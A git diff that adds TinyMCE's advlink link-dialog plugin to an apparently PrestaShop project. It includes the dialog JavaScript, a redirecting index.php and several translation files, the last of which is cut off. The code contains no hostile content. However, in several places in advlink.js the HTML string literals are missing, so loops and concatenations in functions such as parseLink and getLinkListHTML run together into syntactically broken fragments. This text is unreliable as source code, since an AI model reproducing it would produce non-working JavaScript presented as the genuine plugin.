+tinyMCEPopup.requireLangPack(); + +var templates = { + "window.open" : "window.open('${url}','${target}','${options}')" +}; + +function preinit() { + var url; + + if (url = tinyMCEPopup.getParam("external_link_list_url")) + document.write(''); +} + +function changeClass() { + var f = document.forms[0]; + + f.classes.value = getSelectValue(f, 'classlist'); +} + +function init() { + tinyMCEPopup.resizeToInnerSize(); + + var formObj = document.forms[0]; + var inst = tinyMCEPopup.editor; + var elm = inst.selection.getNode(); + var action = "insert"; + var html; + + document.getElementById('hrefbrowsercontainer').innerHTML = getBrowserHTML('hrefbrowser','href','file','advlink'); + document.getElementById('popupurlbrowsercontainer').innerHTML = getBrowserHTML('popupurlbrowser','popupurl','file','advlink'); + document.getElementById('targetlistcontainer').innerHTML = getTargetListHTML('targetlist','target'); + + // Link list + html = getLinkListHTML('linklisthref','href'); + if (html == "") + document.getElementById("linklisthrefrow").style.display = 'none'; + else + document.getElementById("linklisthrefcontainer").innerHTML = html; + + // Anchor list + html = getAnchorListHTML('anchorlist','href'); + if (html == "") + document.getElementById("anchorlistrow").style.display = 'none'; + else + document.getElementById("anchorlistcontainer").innerHTML = html; + + // Resize some elements + if (isVisible('hrefbrowser')) + document.getElementById('href').style.width = '260px'; + + if (isVisible('popupurlbrowser')) + document.getElementById('popupurl').style.width = '180px'; + + elm = inst.dom.getParent(elm, "A"); + if (elm == null) { + var prospect = inst.dom.create("p", null, inst.selection.getContent()); + if (prospect.childNodes.length === 1) { + elm = prospect.firstChild; + } + } + + if (elm != null && elm.nodeName == "A") + action = "update"; + + formObj.insert.value = tinyMCEPopup.getLang(action, 'Insert', true); + + setPopupControlsDisabled(true); + + if (action == "update") { + var href = inst.dom.getAttrib(elm, 'href'); + var onclick = inst.dom.getAttrib(elm, 'onclick'); + + // Setup form data + setFormValue('href', href); + setFormValue('title', inst.dom.getAttrib(elm, 'title')); + setFormValue('id', inst.dom.getAttrib(elm, 'id')); + setFormValue('style', inst.dom.getAttrib(elm, "style")); + setFormValue('rel', inst.dom.getAttrib(elm, 'rel')); + setFormValue('rev', inst.dom.getAttrib(elm, 'rev')); + setFormValue('charset', inst.dom.getAttrib(elm, 'charset')); + setFormValue('hreflang', inst.dom.getAttrib(elm, 'hreflang')); + setFormValue('dir', inst.dom.getAttrib(elm, 'dir')); + setFormValue('lang', inst.dom.getAttrib(elm, 'lang')); + setFormValue('tabindex', inst.dom.getAttrib(elm, 'tabindex', typeof(elm.tabindex) != "undefined" ? elm.tabindex : "")); + setFormValue('accesskey', inst.dom.getAttrib(elm, 'accesskey', typeof(elm.accesskey) != "undefined" ? elm.accesskey : "")); + setFormValue('type', inst.dom.getAttrib(elm, 'type')); + setFormValue('onfocus', inst.dom.getAttrib(elm, 'onfocus')); + setFormValue('onblur', inst.dom.getAttrib(elm, 'onblur')); + setFormValue('onclick', onclick); + setFormValue('ondblclick', inst.dom.getAttrib(elm, 'ondblclick')); + setFormValue('onmousedown', inst.dom.getAttrib(elm, 'onmousedown')); + setFormValue('onmouseup', inst.dom.getAttrib(elm, 'onmouseup')); + setFormValue('onmouseover', inst.dom.getAttrib(elm, 'onmouseover')); + setFormValue('onmousemove', inst.dom.getAttrib(elm, 'onmousemove')); + setFormValue('onmouseout', inst.dom.getAttrib(elm, 'onmouseout')); + setFormValue('onkeypress', inst.dom.getAttrib(elm, 'onkeypress')); + setFormValue('onkeydown', inst.dom.getAttrib(elm, 'onkeydown')); + setFormValue('onkeyup', inst.dom.getAttrib(elm, 'onkeyup')); + setFormValue('target', inst.dom.getAttrib(elm, 'target')); + setFormValue('classes', inst.dom.getAttrib(elm, 'class')); + + // Parse onclick data + if (onclick != null && onclick.indexOf('window.open') != -1) + parseWindowOpen(onclick); + else + parseFunction(onclick); + + // Select by the values + selectByValue(formObj, 'dir', inst.dom.getAttrib(elm, 'dir')); + selectByValue(formObj, 'rel', inst.dom.getAttrib(elm, 'rel')); + selectByValue(formObj, 'rev', inst.dom.getAttrib(elm, 'rev')); + selectByValue(formObj, 'linklisthref', href); + + if (href.charAt(0) == '#') + selectByValue(formObj, 'anchorlist', href); + + addClassesToList('classlist', 'advlink_styles'); + + selectByValue(formObj, 'classlist', inst.dom.getAttrib(elm, 'class'), true); + selectByValue(formObj, 'targetlist', inst.dom.getAttrib(elm, 'target'), true); + } else + addClassesToList('classlist', 'advlink_styles'); +} + +function checkPrefix(n) { + if (n.value && Validator.isEmail(n) && !/^\s*mailto:/i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_email'))) + n.value = 'mailto:' + n.value; + + if (/^\s*www\./i.test(n.value) && confirm(tinyMCEPopup.getLang('advlink_dlg.is_external'))) + n.value = 'http://' + n.value; +} + +function setFormValue(name, value) { + document.forms[0].elements[name].value = value; +} + +function parseWindowOpen(onclick) { + var formObj = document.forms[0]; + + // Preprocess center code + if (onclick.indexOf('return false;') != -1) { + formObj.popupreturn.checked = true; + onclick = onclick.replace('return false;', ''); + } else + formObj.popupreturn.checked = false; + + var onClickData = parseLink(onclick); + + if (onClickData != null) { + formObj.ispopup.checked = true; + setPopupControlsDisabled(false); + + var onClickWindowOptions = parseOptions(onClickData['options']); + var url = onClickData['url']; + + formObj.popupname.value = onClickData['target']; + formObj.popupurl.value = url; + formObj.popupwidth.value = getOption(onClickWindowOptions, 'width'); + formObj.popupheight.value = getOption(onClickWindowOptions, 'height'); + + formObj.popupleft.value = getOption(onClickWindowOptions, 'left'); + formObj.popuptop.value = getOption(onClickWindowOptions, 'top'); + + if (formObj.popupleft.value.indexOf('screen') != -1) + formObj.popupleft.value = "c"; + + if (formObj.popuptop.value.indexOf('screen') != -1) + formObj.popuptop.value = "c"; + + formObj.popuplocation.checked = getOption(onClickWindowOptions, 'location') == "yes"; + formObj.popupscrollbars.checked = getOption(onClickWindowOptions, 'scrollbars') == "yes"; + formObj.popupmenubar.checked = getOption(onClickWindowOptions, 'menubar') == "yes"; + formObj.popupresizable.checked = getOption(onClickWindowOptions, 'resizable') == "yes"; + formObj.popuptoolbar.checked = getOption(onClickWindowOptions, 'toolbar') == "yes"; + formObj.popupstatus.checked = getOption(onClickWindowOptions, 'status') == "yes"; + formObj.popupdependent.checked = getOption(onClickWindowOptions, 'dependent') == "yes"; + + buildOnClick(); + } +} + +function parseFunction(onclick) { + var formObj = document.forms[0]; + var onClickData = parseLink(onclick); + + // TODO: Add stuff here +} + +function getOption(opts, name) { + return typeof(opts[name]) == "undefined" ? "" : opts[name]; +} + +function setPopupControlsDisabled(state) { + var formObj = document.forms[0]; + + formObj.popupname.disabled = state; + formObj.popupurl.disabled = state; + formObj.popupwidth.disabled = state; + formObj.popupheight.disabled = state; + formObj.popupleft.disabled = state; + formObj.popuptop.disabled = state; + formObj.popuplocation.disabled = state; + formObj.popupscrollbars.disabled = state; + formObj.popupmenubar.disabled = state; + formObj.popupresizable.disabled = state; + formObj.popuptoolbar.disabled = state; + formObj.popupstatus.disabled = state; + formObj.popupreturn.disabled = state; + formObj.popupdependent.disabled = state; + + setBrowserDisabled('popupurlbrowser', state); +} + +function parseLink(link) { + link = link.replace(new RegExp(''', 'g'), "'"); + + var fnName = link.replace(new RegExp("\\s*([A-Za-z0-9\.]*)\\s*\\(.*", "gi"), "$1"); + + // Is function name a template function + var template = templates[fnName]; + if (template) { + // Build regexp + var variableNames = template.match(new RegExp("'?\\$\\{[A-Za-z0-9\.]*\\}'?", "gi")); + var regExp = "\\s*[A-Za-z0-9\.]*\\s*\\("; + var replaceStr = ""; + for (var i=0; i'); + for (var i=0; i' + name + ''; + } + + if (html == "") + return ""; + + html = ''; + + return html; +} + +function insertAction() { + var inst = tinyMCEPopup.editor; + var elm, elementArray, i; + + elm = inst.selection.getNode(); + checkPrefix(document.forms[0].href); + + elm = inst.dom.getParent(elm, "A"); + + // Remove element if there is no href + if (!document.forms[0].href.value) { + i = inst.selection.getBookmark(); + inst.dom.remove(elm, 1); + inst.selection.moveToBookmark(i); + tinyMCEPopup.execCommand("mceEndUndoLevel"); + tinyMCEPopup.close(); + return; + } + + // Create new anchor elements + if (elm == null) { + inst.getDoc().execCommand("unlink", false, null); + tinyMCEPopup.execCommand("mceInsertLink", false, "#mce_temp_url#", {skip_undo : 1}); + + elementArray = tinymce.grep(inst.dom.select("a"), function(n) {return inst.dom.getAttrib(n, 'href') == '#mce_temp_url#';}); + for (i=0; i' + tinyMCELinkList[i][0] + ''; + + html += ''; + + return html; + + // tinyMCE.debug('-- image list start --', html, '-- image list end --'); +} + +function getTargetListHTML(elm_id, target_form_element) { + var targets = tinyMCEPopup.getParam('theme_advanced_link_targets', '').split(';'); + var html = ''; + + html += ''; + + return html; +} + +// While loading +preinit(); +tinyMCEPopup.onInit.add(init); diff --git a/js/tiny_mce2/plugins/advlink/js/index.php b/js/tiny_mce2/plugins/advlink/js/index.php new file mode 100755 index 0000000..195fab2 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/js/index.php @@ -0,0 +1,35 @@ + +* @copyright 2007-2013 PrestaShop SA +* @license http://opensource.org/licenses/osl-3.0.php Open Software License (OSL 3.0) +* International Registered Trademark & Property of PrestaShop SA +*/ + +header("Expires: Mon, 26 Jul 1997 05:00:00 GMT"); +header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT"); + +header("Cache-Control: no-store, no-cache, must-revalidate"); +header("Cache-Control: post-check=0, pre-check=0", false); +header("Pragma: no-cache"); + +header("Location: ../"); +exit; diff --git a/js/tiny_mce2/plugins/advlink/langs/ar_dlg.js b/js/tiny_mce2/plugins/advlink/langs/ar_dlg.js new file mode 100755 index 0000000..8a2bc7d --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/ar_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ar.advlink_dlg',{"target_name":"\u0627\u0633\u0645 \u0627\u0644\u0647\u062f\u0641",classes:"\u0635\u0646\u0641",style:"\u0634\u0643\u0644",id:"Id","popup_position":"\u0645\u0648\u0642\u0639 (X/Y)",langdir:"\u0627\u062a\u062c\u0627\u0647 \u0627\u0644\u0644\u063a\u0629","popup_size":"\u062d\u062c\u0645","popup_dependent":"\u062e\u0627\u0636\u0639 (Mozilla/Firefox only)","popup_resizable":"\u062a\u063a\u064a\u064a\u0631 \u062d\u062c\u0645 \u0646\u0627\u0641\u0630\u0629","popup_location":"\u0639\u0631\u0636 \u0634\u0631\u064a\u0637 \u0627\u0644\u0645\u0648\u0642\u0639","popup_menubar":"\u0639\u0631\u0636 \u0634\u0631\u064a\u0637 \u0627\u0644\u0642\u0648\u0627\u0626\u0645","popup_toolbar":"\u0625\u0638\u0647\u0627\u0631 \u0634\u0631\u064a\u0637 \u0627\u0644\u0623\u062f\u0648\u0627\u062a","popup_statusbar":"\u0639\u0631\u0636 \u0634\u0631\u064a\u0637 \u0627\u0644\u062d\u0627\u0644\u0629","popup_scrollbars":"\u0639\u0631\u0636 \u0623\u0634\u0631\u0637\u0629 \u0627\u0644\u062a\u0645\u0631\u064a\u0631","popup_return":"\u0625\u062f\u0631\u0627\u062c \'\u0639\u0648\u062f\u0629 \u0643\u0627\u0630\u0628\u0629\' \'return false\'","popup_name":"\u0627\u0633\u0645 \u0627\u0644\u0646\u0627\u0641\u0630\u0629","popup_url":"\u0631\u0627\u0628\u0637 \u0637\u0641\u0648 \u0639\u0644\u0649 \u0627\u0644\u0633\u0637\u062d",popup:"\u062c\u0627\u0641\u0627 \u0633\u0643\u0631\u064a\u0628\u062a","target_blank":"\u0641\u064a \u0641\u062a\u062d \u0646\u0627\u0641\u0630\u0629 \u062c\u062f\u064a\u062f\u0629","target_top":"\u0641\u062a\u062d \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0639\u0644\u0648\u064a (\u064a\u062d\u0644 \u0645\u062d\u0644 \u0643\u0627\u0641\u0629 \u0627\u0644\u0625\u0637\u0627\u0631\u0627\u062a)","target_parent":"\u0641\u062a\u062d \u0641\u064a \u0627\u0644\u0625\u0637\u0627\u0631 \u0627\u0644\u0623\u0635\u0644","target_same":"\u0641\u062a\u062d \u0641\u064a \u0647\u0630\u0627 \u0627\u0644\u0625\u0637\u0627\u0631","anchor_names":"\u0645\u0631\u062a\u0643\u0632\u0627\u062a","popup_opts":"\u062e\u064a\u0627\u0631\u0627\u062a","advanced_props":"\u062e\u0635\u0627\u0626\u0635 \u0645\u062a\u0642\u062f\u0645\u0629","event_props":"\u0623\u062d\u062f\u0627\u062b","popup_props":"\u062e\u0635\u0627\u0626\u0635 \u0645\u0631\u0628\u0639 \u0637\u0641\u0648 \u0639\u0644\u0649 \u0627\u0644\u0633\u0637\u062d ","general_props":"\u0627\u0644\u062e\u0635\u0627\u0626\u0635 \u0627\u0644\u0639\u0627\u0645\u0629","advanced_tab":"\u0645\u062a\u0642\u062f\u0645","events_tab":"\u0623\u062d\u062f\u0627\u062b","popup_tab":"\u064a\u0645\u0631\u0628\u0639 \u0637\u0641\u0648 \u0639\u0644\u0649 \u0627\u0644\u0633\u0637\u062d","general_tab":"\u0639\u0627\u0645",list:"\u0642\u0627\u0626\u0645\u0647 \u0627\u0644\u0645\u0648\u0627\u0642\u0639","is_external":"\u0627\u0644\u0631\u0627\u0628\u0637 \u064a\u0628\u062f\u0648 \u0627\u0646\u0647 \u0644\u0645\u0648\u0642\u0639 \u062e\u0627\u0631\u062c\u0649 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u0646\u0636\u0639 http://","is_email":"\u0627\u0644\u0631\u0627\u0628\u0637 \u064a\u0628\u062f\u0648 \u0628\u0631\u064a\u062f \u0627\u0644\u0627\u0643\u062a\u0631\u0648\u0646\u0649 \u0647\u0644 \u062a\u0631\u064a\u062f \u0627\u0646 \u0646\u0636\u0639 \u0648\u0633\u0645 \u0631\u0627\u0628\u0637 \u0627\u0644\u0628\u0631\u064a\u062f",titlefield:"\u0627\u0633\u0645 \u0627\u0644\u0631\u0627\u0628\u0637",target:"\u0627\u0644\u0647\u062f\u0641",url:"\u0639\u0646\u0648\u0627\u0646 \u0627\u0644\u0631\u0627\u0628\u0637",title:"\u0627\u062f\u062e\u0627\u0644 -\u062a\u0639\u062f\u064a\u0644 \u0631\u0627\u0628\u0637","link_list":"\u0642\u0627\u0626\u0645\u0629 \u0627\u0644\u0631\u0648\u0627\u0628\u0637",rtl:"\u0645\u0646 \u0627\u0644\u064a\u0645\u064a\u0646 \u0625\u0644\u0649 \u0627\u0644\u064a\u0633\u0627\u0631",ltr:"\u0645\u0646 \u0627\u0644\u064a\u0633\u0627\u0631 \u0625\u0644\u0649 \u0627\u0644\u064a\u0645\u064a\u0646",accesskey:"\u0645\u0641\u062a\u0627\u062d \u0627\u0644\u0648\u0635\u0648\u0644",tabindex:" Tab \u0641\u0647\u0631\u0633",rev:"\u0639\u0644\u0627\u0642\u0629 \u0627\u0644\u0647\u062f\u0641 \u0628\u0627\u0644\u0635\u0641\u062d\u0629",rel:"\u0639\u0644\u0627\u0642\u0629 \u0627\u0644\u0635\u0641\u062d\u0629 \u0628\u0627\u0644\u0647\u062f\u0641",mime:"\u0646\u0648\u0639 \u0645\u0644\u0641 \u0627\u0644\u0647\u062f\u0641",encoding:"\u0631\u0645\u0632 \u0627\u0644\u0644\u063a\u0629",langcode:"\u0643\u0648\u062f \u0627\u0644\u0644\u063a\u0647","target_langcode":"\u0644\u063a\u0629 \u0627\u0644\u0647\u062f\u0641",width:"\u0627\u0644\u0639\u0631\u0636",height:"\u0627\u0644\u0627\u0631\u062a\u0641\u0627\u0639"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/az_dlg.js b/js/tiny_mce2/plugins/advlink/langs/az_dlg.js new file mode 100755 index 0000000..fe0eee2 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/az_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('az.advlink_dlg',{"target_name":"H\u0259d\u0259f ad\u0131",classes:"Sinifl\u0259r",style:"Sil",id:"\u0130dentifikator","popup_position":"M\u00f6vqe (X/Y)",langdir:"Dil istiqam\u0259ti","popup_size":"\u00f6l\u00e7\u00fc","popup_dependent":"As\u0131l\u0131 olan (yaln\u0131z Mozilla/Firefox)","popup_resizable":"P\u0259nc\u0259r\u0259 \u00f6l\u00e7\u00fcs\u00fcn\u00fc d\u0259yi\u015fil\u0259n et","popup_location":"\u00dcnvan s\u0259trini g\u00f6st\u0259r","popup_menubar":"Menyu s\u0259trini g\u00f6st\u0259r","popup_toolbar":"Al\u0259tl\u0259r panelini g\u00f6st\u0259r","popup_statusbar":"M\u0259tn v\u0259ziyy\u0259tini g\u00f6st\u0259r","popup_scrollbars":"F\u0131rlanan\u0131n zolaqlar\u0131n\u0131 g\u00f6st\u0259r","popup_return":"\'return false\' \u0259lav\u0259 et","popup_name":"P\u0259nc\u0259r\u0259nin ad\u0131","popup_url":"\u00dcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259nin \u00fcnvan\u0131",popup:"\u00dcz\u0259 \u00e7\u0131xan Javascript-p\u0259nc\u0259r\u0259","target_blank":"Yeni p\u0259nc\u0259r\u0259d\u0259 a\u00e7","target_top":"Yuxar\u0131 \u00e7\u0259r\u00e7iv\u0259d\u0259 a\u00e7 (dig\u0259rl\u0259rini d\u0259 doldurur)","target_parent":"Ana p\u0259nc\u0259r\u0259d\u0259 a\u00e7 / \u00e7\u0259r\u00e7iv\u0259","target_same":"Bu p\u0259nc\u0259r\u0259d\u0259 a\u00e7 / \u00e7\u0259r\u00e7iv\u0259","anchor_names":"L\u00f6vb\u0259r","popup_opts":"Parametrl\u0259r","advanced_props":"\u018flav\u0259 x\u00fcsusiyy\u0259tl\u0259r","event_props":"Hadis\u0259l\u0259r","popup_props":"\u00dcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259l\u0259rin x\u00fcsusiyy\u0259tl\u0259ti","general_props":"\u00dcmumi x\u00fcsusiyy\u0259tl\u0259ri","advanced_tab":"\u018flav\u0259l\u0259r","events_tab":"Hadis\u0259l\u0259r","popup_tab":"\u00dcz\u0259 \u00e7\u0131xan p\u0259nc\u0259r\u0259","general_tab":"\u00dcmumi",list:"Ke\u00e7id siyah\u0131s\u0131","is_external":"Daxil edil\u0259n \u00fcnvan xarici ke\u00e7id\u0259 b\u0259nz\u0259yir. http:// prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?","is_email":"Daxil edil\u0259n \u00fcnvan e-po\u00e7ta b\u0259nz\u0259yir. mailto: prefiksini \u0259lav\u0259 etm\u0259k ist\u0259yirsiniz?",titlefield:"Ad\u0131",target:"H\u0259d\u0259f",url:"Ke\u00e7id \u00fcnvan\u0131",title:"Ke\u00e7idi \u0259lav\u0259/redakt\u0259 et","link_list":"Ke\u00e7id siyah\u0131s\u0131",rtl:"Sa\u011fda-sola",ltr:"Solda-sa\u011fa",accesskey:"Giri\u015f klavi\u015fi",tabindex:"Hesab indeksi",rev:"H\u0259d\u0259fin p\u0259nc\u0259r\u0259y\u0259 m\u00fcnasib\u0259ti",rel:"P\u0259nc\u0259r\u0259nin h\u0259d\u0259f\u0259 m\u00fcnasib\u0259ti",mime:"H\u0259d\u0259fli MIME-n\u00f6v",encoding:"H\u0259d\u0259fli kodla\u015fd\u0131rma",langcode:"Dil kodu","target_langcode":"H\u0259d\u0259fli dil",width:"Width",height:"Height"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/bg_dlg.js b/js/tiny_mce2/plugins/advlink/langs/bg_dlg.js new file mode 100755 index 0000000..3b83fe4 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/bg_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('bg.advlink_dlg',{"target_name":"\u0418\u043c\u0435 \u043d\u0430 \u0446\u0435\u043b",classes:"\u041a\u043b\u0430\u0441\u043e\u0432\u0435",style:"\u0421\u0442\u0438\u043b",id:"Id","popup_position":"\u041f\u043e\u0437\u0438\u0446\u0438\u044f (X/Y)",langdir:"\u041f\u043e\u0441\u043e\u043a\u0430 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430","popup_size":"\u0420\u0430\u0437\u043c\u0435\u0440","popup_dependent":"\u0417\u0430\u0432\u0438\u0441\u0438\u043c\u0438 (Mozilla/Firefox only)","popup_resizable":"\u0420\u0430\u0437\u0440\u0435\u0448\u0438 \u043f\u0440\u0435\u043e\u0440\u0430\u0437\u043c\u0435\u0440\u044f\u0432\u0430\u043d\u0435 \u043d\u0430 \u043f\u0440\u043e\u0437\u043e\u0440\u0446\u0438\u0442\u0435","popup_location":"\u041f\u043e\u043a\u0430\u0436\u0438 location bar","popup_menubar":"\u041f\u043e\u043a\u0430\u0436\u0438 \u043b\u0435\u043d\u0442\u0430\u0442\u0430 \u0441 \u043c\u0435\u043d\u044e\u0442\u0430","popup_toolbar":"\u041f\u043e\u043a\u0430\u0436\u0438 \u043b\u0435\u043d\u0442\u0438\u0442\u0435 \u0441 \u0438\u043d\u0441\u0442\u0440\u0443\u043c\u0435\u043d\u0442\u0438","popup_statusbar":"\u041f\u043e\u043a\u0430\u0436\u0438 status bar","popup_scrollbars":"\u041f\u043e\u043a\u0430\u0436\u0438 \u0441\u043a\u0440\u043e\u043b\u0435\u0440\u0438","popup_return":"\u0412\u043c\u044a\u043a\u043d\u0438 \'return false\'","popup_name":"\u0418\u043c\u0435 \u043d\u0430 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446\u0430","popup_url":"URL \u043d\u0430 popup-\u0430",popup:"Javascript popup","target_blank":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u043d\u043e\u0432 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446","target_top":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u043d\u0430\u0439-\u0433\u043e\u0440\u043d\u0438\u044f \u0444\u0440\u0435\u0439\u043c (\u0437\u0430\u043c\u0435\u0441\u0442\u0432\u0430 \u0432\u0441\u0438\u0447\u043a\u0438 \u0444\u0440\u0435\u0439\u043c\u043e\u0432\u0435)","target_parent":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u0433\u043e\u0440\u043d\u0438\u044f \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446 / \u0444\u0440\u0435\u0439\u043c","target_same":"\u041e\u0442\u0432\u043e\u0440\u0438 \u0432 \u0442\u043e\u0437\u0438 \u043f\u0440\u043e\u0437\u043e\u0440\u0435\u0446 / \u0444\u0440\u0435\u0439\u043c","anchor_names":"\u041a\u043e\u0442\u0432\u0438","popup_opts":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","advanced_props":"\u041d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438 \u0437\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","event_props":"\u0421\u044a\u0431\u0438\u0442\u0438\u044f","popup_props":"Popup \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","general_props":"\u041e\u0431\u0449\u0438 \u043d\u0430\u0441\u0442\u0440\u043e\u0439\u043a\u0438","advanced_tab":"\u0417\u0430 \u043d\u0430\u043f\u0440\u0435\u0434\u043d\u0430\u043b\u0438","events_tab":"\u0421\u044a\u0431\u0438\u0442\u0438\u044f","popup_tab":"Popup","general_tab":"\u041e\u0431\u0449\u0438",list:"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438","is_external":"URL-\u0442\u043e, \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 \u0432\u044a\u043d\u0448\u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430, \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 http:// \u043f\u0440\u0435\u0444\u0438\u043a\u0441?","is_email":"URL-\u0442\u043e, \u043a\u043e\u0435\u0442\u043e \u0432\u044a\u0432\u0435\u0434\u043e\u0445\u0442\u0435 \u0435 email \u0430\u0434\u0440\u0435\u0441, \u0436\u0435\u043b\u0430\u0435\u0442\u0435 \u043b\u0438 \u0434\u0430 \u0434\u043e\u0431\u0430\u0432\u0438\u0442\u0435 \u043d\u0443\u0436\u043d\u0438\u044f\u0442 mailto: \u043f\u0440\u0435\u0444\u0438\u043a\u0441?",titlefield:"\u0417\u0430\u0433\u043b\u0430\u0432\u0438\u0435",target:"\u0426\u0435\u043b",url:"URL \u043d\u0430 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430",title:"\u0412\u043c\u044a\u043a\u043d\u0438/\u0420\u0435\u0434\u0430\u043a\u0442\u0438\u0440\u0430\u0439 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0430","link_list":"\u0421\u043f\u0438\u0441\u044a\u043a \u0441 \u0445\u0438\u043f\u0435\u0440\u0432\u0440\u044a\u0437\u043a\u0438",rtl:"\u041e\u0442\u0434\u044f\u0441\u043d\u043e \u043d\u0430 \u043b\u044f\u0432\u043e",ltr:"\u041e\u0442\u043b\u044f\u0432\u043e \u043d\u0430 \u0434\u044f\u0441\u043d\u043e",accesskey:"\u041a\u043b\u0430\u0432\u0438\u0448",tabindex:"\u041f\u043e\u0441\u043b\u0435\u0434\u043e\u0432\u0430\u0442\u0435\u043b\u043d\u043e\u0441\u0442",rev:"\u0412\u0437\u0430\u0438\u043c\u043e\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0446\u0435\u043b - \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430",rel:"\u0412\u0437\u0430\u0438\u043c\u043e\u043e\u0442\u043d\u043e\u0448\u0435\u043d\u0438\u0435 \u0441\u0442\u0440\u0430\u043d\u0438\u0446\u0430 - \u0446\u0435\u043b",mime:"MIME \u0442\u0438\u043f",encoding:"\u041a\u043e\u0434\u0438\u0440\u0430\u043d\u0435 \u043d\u0430 \u0441\u0438\u043c\u0432\u043e\u043b\u0438\u0442\u0435",langcode:"\u041a\u043e\u0434 \u043d\u0430 \u0435\u0437\u0438\u043a\u0430","target_langcode":"\u0415\u0437\u0438\u043a",width:"\u0428\u0438\u0440\u0438\u043d\u0430",height:"\u0412\u0438\u0441\u043e\u0447\u0438\u043d\u0430"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/ca_dlg.js b/js/tiny_mce2/plugins/advlink/langs/ca_dlg.js new file mode 100755 index 0000000..c580f73 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/ca_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('ca.advlink_dlg',{"target_name":"Nom del dest\u00ed",classes:"Classes",style:"Estil",id:"Id","popup_position":"Posici\u00f3 (X/Y)",langdir:"Direcci\u00f3 de l\'idioma","popup_size":"Mida","popup_dependent":"Dependent (nom\u00e9s Mozilla/Firefox)","popup_resizable":"Fes la finestra redimensionable","popup_location":"Mostra la barra d\'ubicaci\u00f3","popup_menubar":"Mostra la barra de men\u00fa","popup_toolbar":"Mostra la barra d\'eines","popup_statusbar":"Mostra la barra d\'estat","popup_scrollbars":"Mostra les barres de despla\u00e7ament","popup_return":"Insereix \'return false\'","popup_name":"Nom de la finestra","popup_url":"URL de la finestra emergent",popup:"Finestra emergent javascript","target_blank":"Obre en una nova finestra","target_top":"Obre en el marc superior (reempla\u00e7a tots els marcs)","target_parent":"Obre en la finestra / marc pare","target_same":"Obre en aquesta finestra / marc","anchor_names":"\u00c0ncores","popup_opts":"Opcions","advanced_props":"Propietats avan\u00e7ades","event_props":"Esdeveniments","popup_props":"Propietats de la finestra emergent","general_props":"Propietats generals","advanced_tab":"Avan\u00e7at","events_tab":"Esdeveniments","popup_tab":"Finestra emergent","general_tab":"General",list:"Llista d\'enlla\u00e7os","is_external":"L\'URL que heu introdu\u00eft sembla ser un enlla\u00e7 extern, voleu afegir-hi el prefix requerit http:// ?","is_email":"L\'URL que heu introdu\u00eft sembla ser una adre\u00e7a de correu electr\u00f2nic, voleu afegir-hi el prefix requerit mailto: ?",titlefield:"T\u00edtol",target:"Objectiu",url:"URL de l\'enlla\u00e7",title:"Insereix/edita enlla\u00e7","link_list":"Llista d\'enlla\u00e7os",rtl:"De dreta a esquerra",ltr:"D\'esquerra a dreta",accesskey:"Accesskey",tabindex:"Tabindex",rev:"Relaci\u00f3 de dest\u00ed a p\u00e0gina",rel:"Relaci\u00f3 de p\u00e0gina a dest\u00ed",mime:"Tipus MIME del dest\u00ed",encoding:"Codificaci\u00f3 de car\u00e0cters del dest\u00ed",langcode:"Codi de l\'idioma","target_langcode":"Idioma del dest\u00ed",width:"Amplada",height:"Al\u00e7ada"}); \ No newline at end of file diff --git a/js/tiny_mce2/plugins/advlink/langs/cs_dlg.js b/js/tiny_mce2/plugins/advlink/langs/cs_dlg.js new file mode 100755 index 0000000..d631229 --- /dev/null +++ b/js/tiny_mce2/plugins/advlink/langs/cs_dlg.js @@ -0,0 +1 @@ +tinyMCE.addI18n('cs.advlink_dlg',{"target_name":"N\u00e1zev c\u00edle",classes:"T\u0159\u00eddy",style:"Styl",id:"ID","popup_position":"Um\u00edst\u011bn\u00ed (X/Y)",langdir:"Sm\u011br textu","popup_size":"Velikost","popup_dependent":"Z\u00e1vislost (pouze Mozilla/Firefox)","popup_resizable":"Umo\u017enit zm\u011bnu velikosti","popup_location":"Zobrazit pole s adresou","popup_menubar":"Zobrazit nab\u00eddku","popup_toolbar":"Zobrazit panel 